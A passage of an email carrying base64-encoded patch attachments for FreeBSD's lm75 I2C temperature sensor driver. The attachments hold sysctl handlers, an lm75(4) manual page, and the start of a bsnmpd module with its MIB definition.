IGludAorbG03NV9tb2RlX3N5c2N0bChTWVNDVExfSEFORExFUl9BUkdTKQoreworCWNoYXIgYnVm WzE2XTsKKwlkZXZpY2VfdCBkZXY7CisJaW50IGVycm9yLCBtb2RlLCBuZXdtOworCXN0cnVjdCBs bTc1X3NvZnRjICpzYzsKKworCWRldiA9IGFyZzE7CisJc2MgPSBkZXZpY2VfZ2V0X3NvZnRjKGRl dik7CisJaWYgKHNjLT5zY19jb25mICYgTE03NV9DT05GX01PREUpIHsKKwkJbW9kZSA9IDE7CisJ CXN0cmxjcHkoYnVmLCAiaW50ZXJydXB0Iiwgc2l6ZW9mKGJ1ZikpOworCX0gZWxzZSB7CisJCW1v ZGUgPSAwOworCQlzdHJsY3B5KGJ1ZiwgImNvbXBhcmF0b3IiLCBzaXplb2YoYnVmKSk7CisJfQor CisJZXJyb3IgPSBzeXNjdGxfaGFuZGxlX3N0cmluZyhvaWRwLCBidWYsIHNpemVvZihidWYpLCBy ZXEpOworCWlmIChlcnJvciAhPSAwIHx8IHJlcS0+bmV3cHRyID09IE5VTEwpCisJCXJldHVybiAo ZXJyb3IpOworCisJbmV3bSA9IGxtNzVfc3RyX21vZGUoYnVmKTsKKwlpZiAobmV3bSAhPSAtMSAm JiBtb2RlICE9IG5ld20pIHsKKwkJc2MtPnNjX2NvbmYgJj0gfkxNNzVfQ09ORl9NT0RFOworCQlp ZiAobmV3bSA9PSAxKQorCQkJc2MtPnNjX2NvbmYgfD0gTE03NV9DT05GX01PREU7CisJCWlmIChs bTc1X2NvbmZfd3JpdGUoc2MpICE9IDApCisJCQlyZXR1cm4gKEVJTyk7CisJfQorCisJcmV0dXJu IChlcnJvcik7Cit9CisKK3N0YXRpYyBpbnQKK2xtNzVfcG9sX3N5c2N0bChTWVNDVExfSEFORExF Ul9BUkdTKQoreworCWNoYXIgYnVmWzE2XTsKKwlkZXZpY2VfdCBkZXY7CisJaW50IGVycm9yLCBu ZXdwLCBwb2w7CisJc3RydWN0IGxtNzVfc29mdGMgKnNjOworCisJZGV2ID0gYXJnMTsKKwlzYyA9 IGRldmljZV9nZXRfc29mdGMoZGV2KTsKKwlpZiAoc2MtPnNjX2NvbmYgJiBMTTc1X0NPTkZfUE9M KSB7CisJCXBvbCA9IDE7CisJCXN0cmxjcHkoYnVmLCAiYWN0aXZlLWhpZ2giLCBzaXplb2YoYnVm KSk7CisJfSBlbHNlIHsKKwkJcG9sID0gMDsKKwkJc3RybGNweShidWYsICJhY3RpdmUtbG93Iiwg c2l6ZW9mKGJ1ZikpOworCX0KKworCWVycm9yID0gc3lzY3RsX2hhbmRsZV9zdHJpbmcob2lkcCwg YnVmLCBzaXplb2YoYnVmKSwgcmVxKTsKKwlpZiAoZXJyb3IgIT0gMCB8fCByZXEtPm5ld3B0ciA9 PSBOVUxMKQorCQlyZXR1cm4gKGVycm9yKTsKKworCW5ld3AgPSBsbTc1X3N0cl9wb2woYnVmKTsK KwlpZiAobmV3cCAhPSAtMSAmJiBwb2wgIT0gbmV3cCkgeworCQlzYy0+c2NfY29uZiAmPSB+TE03 NV9DT05GX1BPTDsKKwkJaWYgKG5ld3AgPT0gMSkKKwkJCXNjLT5zY19jb25mIHw9IExNNzVfQ09O Rl9QT0w7CisJCWlmIChsbTc1X2NvbmZfd3JpdGUoc2MpICE9IDApCisJCQlyZXR1cm4gKEVJTyk7 CisJfQorCisJcmV0dXJuIChlcnJvcik7Cit9CisKK3N0YXRpYyBpbnQKK2xtNzVfc2h1dGRvd25f c3lzY3RsKFNZU0NUTF9IQU5ETEVSX0FSR1MpCit7CisJZGV2aWNlX3QgZGV2OworCWludCBlcnJv ciwgc2h1dGRvd24sIHRtcDsKKwlzdHJ1Y3QgbG03NV9zb2Z0YyAqc2M7CisKKwlkZXYgPSBhcmcx OworCXNjID0gZGV2aWNlX2dldF9zb2Z0YyhkZXYpOworCXRtcCA9IHNodXRkb3duID0gKHNjLT5z Y19jb25mICYgTE03NV9DT05GX1NIVVREKSA/IDEgOiAwOworCisJZXJyb3IgPSBzeXNjdGxfaGFu ZGxlX2ludChvaWRwLCAmc2h1dGRvd24sIDAsIHJlcSk7CisJaWYgKGVycm9yICE9IDAgfHwgcmVx LT5uZXdwdHIgPT0gTlVMTCkKKwkJcmV0dXJuIChlcnJvcik7CisKKwlpZiAoc2h1dGRvd24gIT0g dG1wKSB7CisJCXNjLT5zY19jb25mICY9IH5MTTc1X0NPTkZfU0hVVEQ7CisJCWlmIChzaHV0ZG93 bikKKwkJCXNjLT5zY19jb25mIHw9IExNNzVfQ09ORl9TSFVURDsKKwkJaWYgKGxtNzVfY29uZl93 cml0ZShzYykgIT0gMCkKKwkJCXJldHVybiAoRUlPKTsKKwl9CisKKwlyZXR1cm4gKGVycm9yKTsK K30KClByb3BlcnR5IGNoYW5nZXMgb246IHN5cy9kZXYvaWljYnVzL2xtNzUuYwpfX19fX19fX19f X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f CkFkZGVkOiBzdm46ZW9sLXN0eWxlCiMjIC0wLDAgKzEgIyMKK25hdGl2ZQpcIE5vIG5ld2xpbmUg YXQgZW5kIG9mIHByb3BlcnR5CkFkZGVkOiBzdm46bWltZS10eXBlCiMjIC0wLDAgKzEgIyMKK3Rl eHQvcGxhaW4KXCBObyBuZXdsaW5lIGF0IGVuZCBvZiBwcm9wZXJ0eQpBZGRlZDogc3ZuOmtleXdv cmRzCiMjIC0wLDAgKzEgIyMKK0ZyZWVCU0Q9JUgKXCBObyBuZXdsaW5lIGF0IGVuZCBvZiBwcm9w ZXJ0eQpJbmRleDogc2hhcmUvbWFuL21hbjQvTWFrZWZpbGUKPT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQotLS0gc2hhcmUv bWFuL21hbjQvTWFrZWZpbGUJKHJldmlzaW9uIDI2Mjg2MCkKKysrIHNoYXJlL21hbi9tYW40L01h a2VmaWxlCSh3b3JraW5nIGNvcHkpCkBAIC0yMjMsNiArMjIzLDcgQEAKIAlsZ2UuNCBcCiAJJHtf bGluZGV2LjR9IFwKIAkke19saW51eC40fSBcCisJbG03NS40IFwKIAlsbWMuNCBcCiAJbG8uNCBc CiAJbHAuNCBcCkluZGV4OiBzaGFyZS9tYW4vbWFuNC9sbTc1LjQKPT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQotLS0gc2hh cmUvbWFuL21hbjQvbG03NS40CShyZXZpc2lvbiAwKQorKysgc2hhcmUvbWFuL21hbjQvbG03NS40 CSh3b3JraW5nIGNvcHkpCkBAIC0wLDAgKzEsMTkyIEBACisuXCIKKy5cIiBDb3B5cmlnaHQgKGMp IDIwMTQgTHVpeiBPdGF2aW8gTyBTb3V6YSA8bG9vc0BmcmVlYnNkLm9yZz4KKy5cIiBBbGwgcmln aHRzIHJlc2VydmVkLgorLlwiCisuXCIgUmVkaXN0cmlidXRpb24gYW5kIHVzZSBpbiBzb3VyY2Ug YW5kIGJpbmFyeSBmb3Jtcywgd2l0aCBvciB3aXRob3V0CisuXCIgbW9kaWZpY2F0aW9uLCBhcmUg cGVybWl0dGVkIHByb3ZpZGVkIHRoYXQgdGhlIGZvbGxvd2luZyBjb25kaXRpb25zCisuXCIgYXJl IG1ldDoKKy5cIiAxLiBSZWRpc3RyaWJ1dGlvbnMgb2Ygc291cmNlIGNvZGUgbXVzdCByZXRhaW4g dGhlIGFib3ZlIGNvcHlyaWdodAorLlwiICAgIG5vdGljZSwgdGhpcyBsaXN0IG9mIGNvbmRpdGlv bnMgYW5kIHRoZSBmb2xsb3dpbmcgZGlzY2xhaW1lci4KKy5cIiAyLiBSZWRpc3RyaWJ1dGlvbnMg aW4gYmluYXJ5IGZvcm0gbXVzdCByZXByb2R1Y2UgdGhlIGFib3ZlIGNvcHlyaWdodAorLlwiICAg IG5vdGljZSwgdGhpcyBsaXN0IG9mIGNvbmRpdGlvbnMgYW5kIHRoZSBmb2xsb3dpbmcgZGlzY2xh aW1lciBpbiB0aGUKKy5cIiAgICBkb2N1bWVudGF0aW9uIGFuZC9vciBvdGhlciBtYXRlcmlhbHMg cHJvdmlkZWQgd2l0aCB0aGUgZGlzdHJpYnV0aW9uLgorLlwiCisuXCIgVEhJUyBTT0ZUV0FSRSBJ UyBQUk9WSURFRCBCWSBUSEUgQVVUSE9SIGBgQVMgSVMnJyBBTkQgQU5ZIEVYUFJFU1MgT1IKKy5c IiBJTVBMSUVEIFdBUlJBTlRJRVMsIElOQ0xVRElORywgQlVUIE5PVCBMSU1JVEVEIFRPLCBUSEUg SU1QTElFRCBXQVJSQU5USUVTCisuXCIgT0YgTUVSQ0hBTlRBQklMSVRZIEFORCBGSVRORVNTIEZP UiBBIFBBUlRJQ1VMQVIgUFVSUE9TRSBBUkUgRElTQ0xBSU1FRC4KKy5cIiBJTiBOTyBFVkVOVCBT SEFMTCBUSEUgQVVUSE9SIEJFIExJQUJMRSBGT1IgQU5ZIERJUkVDVCwgSU5ESVJFQ1QsCisuXCIg SU5DSURFTlRBTCwgU1BFQ0lBTCwgRVhFTVBMQVJZLCBPUiBDT05TRVFVRU5USUFMIERBTUFHRVMg KElOQ0xVRElORywgQlVUCisuXCIgTk9UIExJTUlURUQgVE8sIFBST0NVUkVNRU5UIE9GIFNVQlNU SVRVVEUgR09PRFMgT1IgU0VSVklDRVM7IExPU1MgT0YgVVNFLAorLlwiIERBVEEsIE9SIFBST0ZJ VFM7IE9SIEJVU0lORVNTIElOVEVSUlVQVElPTikgSE9XRVZFUiBDQVVTRUQgQU5EIE9OIEFOWQor LlwiIFRIRU9SWSBPRiBMSUFCSUxJVFksIFdIRVRIRVIgSU4gQ09OVFJBQ1QsIFNUUklDVCBMSUFC SUxJVFksIE9SIFRPUlQKKy5cIiAoSU5DTFVESU5HIE5FR0xJR0VOQ0UgT1IgT1RIRVJXSVNFKSBB UklTSU5HIElOIEFOWSBXQVkgT1VUIE9GIFRIRSBVU0UgT0YKKy5cIiBUSElTIFNPRlRXQVJFLCBF VkVOIElGIEFEVklTRUQgT0YgVEhFIFBPU1NJQklMSVRZIE9GIFNVQ0ggREFNQUdFLgorLlwiCisu XCIgJEZyZWVCU0QkCisuXCIKKy5EZCBNYXJjaCA3LCAyMDE0CisuRHQgTE03NSA0CisuT3MKKy5T aCBOQU1FCisuTm0gbG03NQorLk5kIGxtNzUgaTJjIGRpZ2l0YWwgdGVtcGVyYXR1cmUgc2Vuc29y IGRyaXZlcgorLlNoIFNZTk9QU0lTCisuQ2QgImRldmljZSBpaWMiCisuQ2QgImRldmljZSBpaWNi dXMiCisuQ2QgImRldmljZSBsbTc1IgorLlNoIERFU0NSSVBUSU9OCitUaGUKKy5ObQorZHJpdmVy IHByb3ZpZGVzIGFjY2VzcyB0byBzZW5zb3IgZGF0YSBhbmQgY29uZmlndXJhdGlvbiBvdmVyIHRo ZQorLlhyIGlpY2J1cyA0IC4KKy5QcAorSXQgcHJvdmlkZXMgYW4gZWFzeSBhbmQgc2ltcGxlIHdh eSB0byBjaGVjayB0aGUgZnVuY3Rpb25hbGl0eSBvZiBhbiBpMmMgYnVzCithcyBpdCBwcm92aWRl cyByZWFkIGFuZCB3cml0ZSBhY2Nlc3MgdG8gdGhlCisuTm0KK2NvbmZpZ3VyYXRpb24gcmVnaXN0 ZXIuCisuUHAKK1RoZSBhY2Nlc3MgdG8KKy5ObQorZGF0YSBpcyBtYWRlIHZpYSB0aGUKKy5YciBz eXNjdGwgOAoraW50ZXJmYWNlOgorLkJkIC1saXRlcmFsCitkZXYubG03NS4wLiVkZXNjOiBMTTc1 QSB0ZW1wZXJhdHVyZSBzZW5zb3IKK2Rldi5sbTc1LjAuJWRyaXZlcjogbG03NQorZGV2LmxtNzUu MC4lbG9jYXRpb246IGFkZHI9MHg0OQorZGV2LmxtNzUuMC4lcG5waW5mbzogbmFtZT1sbTc1MCBj b21wYXQ9ZnJlZWJzZCxsbTc1YQorZGV2LmxtNzUuMC4lcGFyZW50OiBpaWNidXMzCitkZXYubG03 NS4wLnRlbXBlcmF0dXJlOiAyNy4xQworZGV2LmxtNzUuMC50aHlzdDogNzUuMEMKK2Rldi5sbTc1 LjAudG9zOiA4MC4wQworZGV2LmxtNzUuMC5mYXVsdHM6IDEKK2Rldi5sbTc1LjAubW9kZTogY29t cGFyYXRvcgorZGV2LmxtNzUuMC5wb2xhcml0eTogYWN0aXZlLWxvdworZGV2LmxtNzUuMC5zaHV0 ZG93bjogMAorLkVkCisuQmwgLXRhZyAtd2lkdGggIi5WYSBkZXYubG03NS4lZC50ZW1wZXJhdHVy ZSIKKy5JdCBWYSBkZXYubG03NS4lZC50ZW1wZXJhdHVyZQorSXMgdGhlIHJlYWQtb25seSB2YWx1 ZSBvZiB0aGUgY3VycmVudCB0ZW1wZXJhdHVyZSByZWFkIGJ5IHRoZSBzZW5zb3IuCisuSXQgVmEg ZGV2LmxtNzUuJWQudGh5c3QKK1NldHMgdGhlIGh5c3RlcmVzaXMgdGVtcGVyYXR1cmUuCitPbmNl IHRoZSB0ZW1wZXJhdHVyZSBnZXQgb3ZlciB0aGUgb3ZlcnRlbXBlcmF0dXJlIHNodXRkb3duIHZh bHVlICh0b3MpCitpdCBuZWVkIHRvIGRyb3AgYmVsbG93IHRoZSBoeXN0ZXJlc2lzIHRlbXBlcmF0 dXJlIHRvIGRpc2FibGUgdGhlIG91dHB1dAorKGludGVycnVwdCkgcGluIGFnYWluLgorLkl0IFZh IGRldi5sbTc1LiVkLnRvcworU2V0cyB0aGUgb3ZlcnRlbXBlcmF0dXJlIHNodXRkb3duIHZhbHVl LgorT25jZSB0aGUgdGVtcGVyYXR1cmUgZ2V0IG92ZXIgdGhpcyB2YWx1ZSB0aGUgb3V0cHV0IHBp biB3aWxsIGJlIGVuYWJsZWQuCitUaGUgd2F5IHRoZSBvdXRwdXQgKGludGVycnVwdCkgcGluIHdv cmtzLCBkZXBlbmRzIG9uIHRoZSBtb2RlLgorLkl0IFZhIGRldi5sbTc1LiVkLmZhdWx0cworSXMg dGhlIG51bWJlciBvZiBmYXVsdHMgdGhhdCBtdXN0IG9jY3VyIGNvbnNlY3V0aXZlbHkgdG8gYWN0 aXZhdGUgdGhlCitpbnRlcnJ1cHQgKG91dHB1dCkgcGluLgorSXQgY2FuIGJlIHNldCB0byAxLCAy LCA0LCBhbmQgNi4KKy5JdCBWYSBkZXYubG03NS4lZC5tb2RlCitTZXQgdGhlIG9wZXJhdGlvbiBt b2RlIGZvciB0aGUgc2Vuc29yIGludGVycnVwdCBwaW4uCitJdCBjYW4gYmUgc2V0IHRvICdjb21w YXJhdG9yJyAoZGVmYXVsdCkgb3IgJ2ludGVycnVwdCcuCisuSXQgVmEgZGV2LmxtNzUuJWQucG9s YXJpdHkKK1NldCB0aGUgcG9sYXJpdHkgb2YgdGhlIHNlbnNvciBpbnRlcnJ1cHQgcGluLgorSXQg Y2FuIGJlIHNldCB0byAnYWN0aXZlLWxvdycgKGRlZmF1bHQpIG9yICdhY3RpdmUtaGlnaCcuCitQ bGVhc2Ugbm90ZSB0aGF0IHRoZSBvdXRwdXQgcGluIGlzIGFuIG9wZW4tZHJhaW4gb3V0cHV0IGFu ZCBpdCBuZWVkcyBhCitwcm9wZXIgcHVsbC11cCByZXNpc3RvciB0byB3b3JrLgorLkl0IFZhIGRl di5sbTc1LiVkLnNodXRkb3duCitXaGVuIHNldCB0byAnMScgaXQgc2h1dGRvd24gdGhlIHNlbnNv ci4KK1RoZSB0ZW1wZXJhdHVyZSBjb252ZXJ0aW9uIHN0b3BzIGJ1dCB0aGUgc2Vuc29yIHJlbWFp bnMgd2l0aCBpdHMgaTJjIGJ1cworYWN0aXZlLCBpLmUuLCBpdCBjYW4gYmUgd29rZW4gdXAgYnkg c2V0dGluZyB0aGlzIG9wdGlvbiB0byAnMCcgYWdhaW4uCisuRWwKKy5QcAorUGxlYXNlIGNoZWNr IHRoZQorLk5tCitkYXRhc2hlZXQgZm9yIG1vcmUgZGV0YWlscy4KKy5QcAorV2hlbiB1c2VkIHRv Z2V0aGVyIHdpdGgKKy5YciBzbm1wX2xtNzUgMworaXQgYWxsb3dzIHRoZSBtb25pdG9yaW5nIG9m CisuTm0KK3RlbXBlcmF0dXJlIGRhdGEgb3ZlciBTTk1QLgorLlBwCitUaGUKKy5ObQorZHJpdmVy IHN1cHBvcnRzIGJvdGggdGhlIGxvdyBhbmQgdGhlIGhpZ2ggcmVzb2x1dGlvbiBtb2RlbHMuCisu UHAKK1RoZSBsb3cgcmVzb2x1dGlvbiBtb2RlbCAobG03NSkgcHJvdmlkZXMgYSA5IGJpdCBvdXRw dXQgd2l0aCB0aGUgTFNCCityZXByZXNlbnRpbmcgMC41Qy4KKy5QcAorVGhlIGhpZ2ggcmVzb2x1 dGlvbiBtb2RlbCAobG03NWEpIHByb3ZpZGVzIGFuIDExIGJpdCBvdXRwdXQgd2l0aCB0aGUgTFNC CityZXByZXNlbnRpbmcgMC4xMjVDLgorLlBwCitPbiBhCisuWHIgZGV2aWNlLmhpbnRzIDUKK2Jh c2VkIHN5c3RlbSwgbGlrZQorLkxpIE1JUFMgLAordGhlc2UgdmFsdWVzIGFyZSBjb25maWd1cmFi bGUgZm9yIHRoZQorLk5tIDoKKy5CbCAtdGFnIC13aWR0aCAiLlZhIGhpbnQubG03NS4lZC5sbTc1 YSIKKy5JdCBWYSBoaW50LmxtNzUuJWQuYXQKK0lzIHRoZQorLlhyIGlpY2J1cyA0Cit5b3UgYXJl IGF0dGFjaGluZyB0by4KKy5JdCBWYSBoaW50LmxtNzUuJWQuYWRkcgorSXMgdGhlCisuTm0KK2ky YyBhZGRyZXNzIG9uIHRoZQorLlhyIGlpY2J1cyA0IC4KKy5JdCBWYSBoaW50LmxtNzUuJWQubG03 NWEKK1doZW4gc2V0IHRvICcxJyBlbmFibGVzIHRoZSBoaWdoIHJlc29sdXRpb24gdGVtcGVyYXR1 cmUgcmVhZGluZyBmb3IgdGhpcworc2Vuc29yLgorLkVsCisuUHAKK09uIGEKKy5YciBGRFQgNAor YmFzZWQgc3lzdGVtLCBsaWtlCisuTGkgQVJNICwKK3RoZSBEVFMgcGFydCBmb3IgYQorLk5tCitk ZXZpY2UgdXN1YWxseSBsb29rcyBsaWtlOgorLkJkIC1saXRlcmFsCitpMmMgeworCisJLi4uCisK KwlsbTc1MCB7CisJCWNvbXBhdGlibGUgPSAiZnJlZWJzZCxsbTc1IjsKKwkJaTJjLWFkZHJlc3Mg PSA8MHg0OD47CisJfTsKKworCWxtNzUxIHsKKwkJY29tcGF0aWJsZSA9ICJmcmVlYnNkLGxtNzVh IjsKKwkJaTJjLWFkZHJlc3MgPSA8MHg0OT47CisJfTsKK307CisuRWQKKy5QcAorV2hlcmU6Cisu QmwgLXRhZyAtd2lkdGggIi5WYSBpMmMtYWRkcmVzcyIKKy5JdCBWYSBjb21wYXRpYmxlCitTaG91 bGQgYmUgc2V0IHRvICJmcmVlYnNkLGxtNzUiIGZvciB0aGUgbG93IHJlc29sdXRpb24gZGV2aWNl cyBhbmQKKyJmcmVlYnNkLGxtNzVhIiBmb3IgdGhlIGhpZ2ggcmVzb2x1dGlvbiBkZXZpY2VzLgor Lkl0IFZhIGkyYy1hZGRyZXNzCitUaGUKKy5WYSBpMmMtYWRkcmVzcworcHJvcGVydHkgaW5kaWNh dGVzIHdoaWNoIGkyYyBhZGRyZXNzIHRoZQorLk5tCitpcyB3aXJlZCBhdC4KKy5ObQordGVtcGVy YXR1cmUgc2Vuc29ycyBjYW4gYmUgd2lyZWQgdG8gOCBkaWZmZXJlbnQgYWRkcmVzcywgYWxsb3dp bmcgdXAgdG8gOAorc2Vuc29ycyBvbiB0aGUgc2FtZQorLlhyIGlpY2J1cyA0IC4KKy5FbAorLlNo IFNFRSBBTFNPCisuWHIgc25tcF9sbTc1IDMgLAorLlhyIGZkdCA0ICwKKy5YciBpaWMgNCAsCisu WHIgaWljYnVzIDQgLAorLlhyIHN5c2N0bCA4CisuU2ggSElTVE9SWQorVGhlCisuTm0KK2RyaXZl ciBmaXJzdCBhcHBlYXJlZCBpbgorLkZ4IDExLjAgLgorLlNoIEFVVEhPUlMKKy5BbiAtbm9zcGxp dAorVGhlIGRyaXZlciBhbmQgdGhpcyBtYW51YWwgcGFnZSB3YXMgd3JpdHRlbiBieQorLkFuIEx1 aXogT3RhdmlvIE8gU291emEgQXEgbG9vc0BGcmVlQlNELm9yZwoKUHJvcGVydHkgY2hhbmdlcyBv bjogc2hhcmUvbWFuL21hbjQvbG03NS40Cl9fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX18KQWRkZWQ6IHN2bjptaW1lLXR5cGUK IyMgLTAsMCArMSAjIwordGV4dC9wbGFpbgpcIE5vIG5ld2xpbmUgYXQgZW5kIG9mIHByb3BlcnR5 CkFkZGVkOiBzdm46a2V5d29yZHMKIyMgLTAsMCArMSAjIworRnJlZUJTRD0lSApcIE5vIG5ld2xp bmUgYXQgZW5kIG9mIHByb3BlcnR5CkFkZGVkOiBzdm46ZW9sLXN0eWxlCiMjIC0wLDAgKzEgIyMK K25hdGl2ZQpcIE5vIG5ld2xpbmUgYXQgZW5kIG9mIHByb3BlcnR5Cg== --047d7b86ccbc79981504f4cdffda Content-Type: text/plain; charset=US-ASCII; name="snmp_lm75.diff" Content-Disposition: attachment; filename="snmp_lm75.diff" Content-Transfer-Encoding: base64 X-Attachment-Id: f_hsvtulhc1 SW5kZXg6IGV0Yy9zbm1wZC5jb25maWcKPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQotLS0gZXRjL3NubXBkLmNvbmZpZwko cmV2aXNpb24gMjYyODYwKQorKysgZXRjL3NubXBkLmNvbmZpZwkod29ya2luZyBjb3B5KQpAQCAt Mjk2LDYgKzI5NiwxMiBAQAogI2JlZ2Vtb3RTbm1wZE1vZHVsZVBhdGguImJyaWRnZSIgPSAiL3Vz ci9saWIvc25tcF9icmlkZ2Uuc28iCiAKICMKKyMgTE03NSBTZW5zb3IgbW9kdWxlCisjICBUaGlz IHJlcXVpcmVzIHRoZSBtaWJJSSBtb2R1bGUuCisjCisjYmVnZW1vdFNubXBkTW9kdWxlUGF0aC4i bG03NSIgPSAiL3Vzci9saWIvc25tcF9sbTc1LnNvIgorCisjCiAjIFdpcmVsZXNzIG1vZHVsZQog IyAgVGhpcyByZXF1aXJlcyB0aGUgbWliSUkgbW9kdWxlLgogIwpJbmRleDogdXNyLnNiaW4vYnNu bXBkL21vZHVsZXMvTWFrZWZpbGUKPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQotLS0gdXNyLnNiaW4vYnNubXBkL21vZHVs ZXMvTWFrZWZpbGUJKHJldmlzaW9uIDI2Mjg2MCkKKysrIHVzci5zYmluL2Jzbm1wZC9tb2R1bGVz L01ha2VmaWxlCSh3b3JraW5nIGNvcHkpCkBAIC0xMiw2ICsxMiw3IEBACiAJc25tcF9icmlkZ2Ug XAogCXNubXBfaGFzdCBcCiAJc25tcF9ob3N0cmVzIFwKKwlzbm1wX2xtNzUgXAogCXNubXBfbWli SUkgXAogCXNubXBfdGFyZ2V0IFwKIAlzbm1wX3VzbSBcCkluZGV4OiB1c3Iuc2Jpbi9ic25tcGQv bW9kdWxlcy9zbm1wX2xtNzUvQkVHRU1PVC1MTTc1LU1JQi50eHQKPT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQotLS0gdXNy LnNiaW4vYnNubXBkL21vZHVsZXMvc25tcF9sbTc1L0JFR0VNT1QtTE03NS1NSUIudHh0CShyZXZp c2lvbiAwKQorKysgdXNyLnNiaW4vYnNubXBkL21vZHVsZXMvc25tcF9sbTc1L0JFR0VNT1QtTE03 NS1NSUIudHh0CSh3b3JraW5nIGNvcHkpCkBAIC0wLDAgKzEsMTYwIEBACistLQorLS0gQ29weXJp Z2h0IChjKSAyMDE0IEx1aXogT3RhdmlvIE8gU291emEgPGxvb3NARnJlZUJTRC5vcmc+CistLSBB bGwgcmlnaHRzIHJlc2VydmVkLgorLS0KKy0tIFJlZGlzdHJpYnV0aW9uIGFuZCB1c2UgaW4gc291 cmNlIGFuZCBiaW5hcnkgZm9ybXMsIHdpdGggb3Igd2l0aG91dAorLS0gbW9kaWZpY2F0aW9uLCBh cmUgcGVybWl0dGVkIHByb3ZpZGVkIHRoYXQgdGhlIGZvbGxvd2luZyBjb25kaXRpb25zCistLSBh cmUgbWV0OgorLS0gMS4gUmVkaXN0cmlidXRpb25zIG9mIHNvdXJjZSBjb2RlIG11c3QgcmV0YWlu IHRoZSBhYm92ZSBjb3B5cmlnaHQKKy0tICAgIG5vdGljZSwgdGhpcyBsaXN0IG9mIGNvbmRpdGlv bnMgYW5kIHRoZSBmb2xsb3dpbmcgZGlzY2xhaW1lci4KKy0tIDIuIFJlZGlzdHJpYnV0aW9ucyBp biBiaW5hcnkgZm9ybSBtdXN0IHJlcHJvZHVjZSB0aGUgYWJvdmUgY29weXJpZ2h0CistLSAgICBu b3RpY2UsIHRoaXMgbGlzdCBvZiBjb25kaXRpb25zIGFuZCB0aGUgZm9sbG93aW5nIGRpc2NsYWlt ZXIgaW4gdGhlCistLSAgICBkb2N1bWVudGF0aW9uIGFuZC9vciBvdGhlciBtYXRlcmlhbHMgcHJv dmlkZWQgd2l0aCB0aGUgZGlzdHJpYnV0aW9uLgorLS0KKy0tIFRISVMgU09GVFdBUkUgSVMgUFJP VklERUQgQlkgVEhFIFJFR0VOVFMgQU5EIENPTlRSSUJVVE9SUyBgYEFTIElTJycgQU5ECistLSBB TlkgRVhQUkVTUyBPUiBJTVBMSUVEIFdBUlJBTlRJRVMsIElOQ0xVRElORywgQlVUIE5PVCBMSU1J VEVEIFRPLCBUSEUKKy0tIElNUExJRUQgV0FSUkFOVElFUyBPRiBNRVJDSEFOVEFCSUxJVFkgQU5E IEZJVE5FU1MgRk9SIEEgUEFSVElDVUxBUiBQVVJQT1NFCistLSBBUkUgRElTQ0xBSU1FRC4gIElO IE5PIEVWRU5UIFNIQUxMIFRIRSBSRUdFTlRTIE9SIENPTlRSSUJVVE9SUyBCRSBMSUFCTEUKKy0t IEZPUiBBTlkgRElSRUNULCBJTkRJUkVDVCwgSU5DSURFTlRBTCwgU1BFQ0lBTCwgRVhFTVBMQVJZ LCBPUiBDT05TRVFVRU5USUFMCistLSBEQU1BR0VTIChJTkNMVURJTkcsIEJVVCBOT1QgTElNSVRF RCBUTywgUFJPQ1VSRU1FTlQgT0YgU1VCU1RJVFVURSBHT09EUworLS0gT1IgU0VSVklDRVM7IExP U1MgT0YgVVNFLCBEQVRBLCBPUiBQUk9GSVRTOyBPUiBCVVNJTkVTUyBJTlRFUlJVUFRJT04pCist LSBIT1dFVkVSIENBVVNFRCBBTkQgT04gQU5ZIFRIRU9SWSBPRiBMSUFCSUxJVFksIFdIRVRIRVIg SU4gQ09OVFJBQ1QsIFNUUklDVAorLS0gTElBQklMSVRZLCBPUiBUT1JUIChJTkNMVURJTkcgTkVH TElHRU5DRSBPUiBPVEhFUldJU0UpIEFSSVNJTkcgSU4gQU5ZIFdBWQorLS0gT1VUIE9GIFRIRSBV U0UgT0YgVEhJUyBTT0ZUV0FSRSwgRVZFTiBJRiBBRFZJU0VEIE9GIFRIRSBQT1NTSUJJTElUWSBP RgorLS0gU1VDSCBEQU1BR0UuCistLQorLS0gJEZyZWVCU0QkCistLQorCitCRUdFTU9ULUxNNzUt TUlCIERFRklOSVRJT05TIDo6PSBCRUdJTgorCitJTVBPUlRTCisgICAgTU9EVUxFLUlERU5USVRZ LCBPQkpFQ1QtVFlQRSwgTk9USUZJQ0FUSU9OLVRZUEUsCisgICAgQ291bnRlcjY0LCBJbnRlZ2Vy MzIKKwlGUk9NIFNOTVB2Mi1TTUkKKyAgICBURVhUVUFMLUNPTlZFTlRJT04sIFJvd1N0YXR1cwor CUZST00gU05NUHYyLVRDCisgICAgYmVnZW1vdAorCUZST00gQkVHRU1PVC1NSUI7CisKK2JlZ2Vt b3RMb29zIE1PRFVMRS1JREVOVElUWQorICAgIExBU1QtVVBEQVRFRCAiMjAxNDAyMjQwMDAwWiIK KyAgICBPUkdBTklaQVRJT04gIkZyZWVCU0QiCisgICAgQ09OVEFDVC1JTkZPCisJICAgICIJCUx1 aXogT3RhdmlvIE8gU291emEKKworCSAgICAgUG9zdGFsOglOL0EKKworCSAgICAgRmF4OglOL0EK KworCSAgICAgRS1NYWlsOglsb29zQEZyZWVCU0Qub3JnIgorICAgIERFU0NSSVBUSU9OCisJICAg ICJUaGUgQmVnZW1vdCBNSUIgZm9yIHJlYWRpbmcgbG03NSBzZW5zb3JzIGRhdGEuIgorICAgIFJF VklTSU9OICAgICAiMjAxNDAyMjQwMDAwWiIKKyAgICBERVNDUklQVElPTgorCSAgICAiSW5pdGlh bCByZXZpc2lvbi4iCisgICAgOjo9IHsgYmVnZW1vdCA0MDAgfQorCitiZWdlbW90TG03NU9iamVj dHMJT0JKRUNUIElERU5USUZJRVIgOjo9IHsgYmVnZW1vdExtNzUgMSB9CisKKy0tIC0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gLS0KKy0t 